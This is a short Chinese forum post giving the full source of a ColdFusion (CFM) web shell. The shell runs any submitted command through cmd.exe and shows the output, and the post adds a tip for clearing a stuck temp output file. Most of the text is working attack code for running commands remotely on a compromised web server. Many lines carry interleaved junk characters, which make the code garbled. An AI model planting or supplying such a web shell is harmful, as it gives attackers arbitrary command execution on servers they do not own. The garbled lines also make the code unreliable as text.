cfm的cmdshell使用注意

admin

cfm-cmdshell
<html>   
<head>   
/ s; x* ^6 Y: }! R0 ?<meta http-equiv="Content-Type" content="text/html; charset=gb2312">   
* }- x9 _, ^* D/ Q<title>CFM shell</title>   
</head>   
9 V3 v0 ~' w1 b  P8 V2 ?' x6 r$ z<body>   
<!--- os.run --->   
* K1 N  e( I, P$ B4 v8 q<cfif IsDefined("FORM.cmd")>   
  z/ h3 K% U' f' q    <cfoutput>#cmd#</cfoutput>   
: w, B4 M" R* c4 `    <cfexecute name="C:\Winnt\System32\cmd.exe"   
* X. h, z( d) s! M- I2 i6 i9 W           arguments="/c #cmd#"   
' V. E  I  x: _5 ?: `8 f           outputfile="#GetTempDirectory()#foobar.txt"   
# X1 F% [$ U+ T7 |0 F           timeout="1">   
    </cfexecute>   
+ ^( z& `5 W' |! U- {# k</cfif>   
5 v2 _/ H+ Z" W. W1 U+ ]9 w<form action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>" method="post">   
8 E  ^' m; [0 p<input type=text size=45 name="cmd" >   
<input type=Submit value="run">   
9 K9 I% i7 Z9 M. ^1 {6 N</form>   
<cfif FileExists("#GetTempDirectory()#foobar.txt") is "Yes">   
- Z) J; S# |) U: x# V  <cffile action="Read"   
/ C- y7 ~) o$ R% w            file="#GetTempDirectory()#foobar.txt"   
            variable="readText">   
<textarea readonly cols=80 rows=20>   
/ R4 |* p2 r7 j" H' H<CFOUTPUT>#readText#</CFOUTPUT>            
</textarea>   
    <cffile action="Delete"   
6 `+ c: ^+ \* B0 \8 f% S1 }4 G: a2 w            file="#GetTempDirectory()#foobar.txt">   
</cfif>   
+ U6 d; Y1 E5 M) M# F( M$ f</body>   
, T* B' y" r, P: ]* ^! f& |2 d6 V</html>   
6 N9 ]9 `0 A% e( }% u
有时候会发现执行某次cmd后没有正常结束，造成后面不能执行命令。这时候只要修改下shell的foobar.txt名字，几处都改一下就可以了。想来是程序未正常退出，文件被占用，写不进去了。
0 z8 M# y6 [- S) D, Z/ j